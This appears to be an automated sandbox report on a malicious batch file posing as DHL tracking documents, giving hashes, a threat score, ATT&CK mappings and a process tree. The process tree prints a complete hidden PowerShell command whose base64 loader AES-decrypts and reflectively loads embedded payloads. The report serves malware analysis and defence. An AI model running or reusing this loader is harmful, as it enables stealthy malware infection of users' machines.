2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8

General

Target

rDHL_Tracking_documents_pdf_.bat
Size

64KB
MD5

c24ad5f86f3789fe871d0bd328838f9a
SHA1

fcdf8088406fa2b07e93c02058aa13398c065e02
SHA256

2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8
SHA512

c5a4106048010617319175c0097f9cd1ea1f6198c0fac1590808cca198709adbe0619c0ba14fe55a56f0257f967d5cdeae8cb719472d24d860f6076aed11e88e
SSDEEP

1536:vSWGfd3nZkbmEKUgXEXzICKUnFrcACGUrv4fuipRcLS+/a+gjgYWjT:vP4YHfBXUzGV2G9CT

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2384	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2384	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 2752	2764	cmd.exe	31
PID 2764 wrote to memory of 2752	2764	cmd.exe	31
PID 2764 wrote to memory of 2752	2764	cmd.exe	31
PID 2752 wrote to memory of 2384	2752	cmd.exe	33
PID 2752 wrote to memory of 2384	2752	cmd.exe	33
PID 2752 wrote to memory of 2384	2752	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\rDHL_Tracking_documents_pdf_.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\rDHL_Tracking_documents_pdf_.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskdXRub2IgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHV0bm9iKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICR1dG5vYiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCR1dG5vYiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkdXRub2IiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gemhnY2woJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3FLWUdsT05iM3BrQUcySnhOOGR5UGRMTjNRa1lsVjNiN2RvdEJQOWpHeUE9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1dCMmY1TDNMS3NUbDhHdWdDVStlb2c9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24geGp1eWwoJHBhcmFtX3Zhcil7CSR4Z3lvbD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkdm9rdWg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkka2FveWY9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkeGd5b2wsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGthb3lmLkNvcHlUbygkdm9rdWgpOwkka2FveWYuRGlzcG9zZSgpOwkkeGd5b2wuRGlzcG9zZSgpOwkkdm9rdWguRGlzcG9zZSgpOwkkdm9rdWguVG9BcnJheSgpO31mdW5jdGlvbiBmb2h6cigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHFoeWlyPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHVwaHlvPSRxaHlpci5FbnRyeVBvaW50OwkkdXBoeW8uSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHV0bm9iOyR4b3ZzYT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHV0bm9iKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkZXN3IGluICR4b3ZzYSkgewlpZiAoJGVzdy5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGhtdGtqPSRlc3cuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JG10aGhmPVtzdHJpbmdbXV0kaG10a2ouU3BsaXQoJ1wnKTskcGlidG89eGp1eWwgKHpoZ2NsIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG10aGhmWzBdKSkpOyRvdWNmaj14anV5bCAoemhnY2wgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbXRoaGZbMV0pKSk7Zm9oenIgJHBpYnRvICRudWxsO2ZvaHpyICRvdWNmaiAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2384-6-0x000007FEF633E000-0x000007FEF633F000-memory.dmp

Filesize
4KB

Download
memory/2384-7-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2384-8-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2384-9-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-10-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-11-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-12-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-13-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-14-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing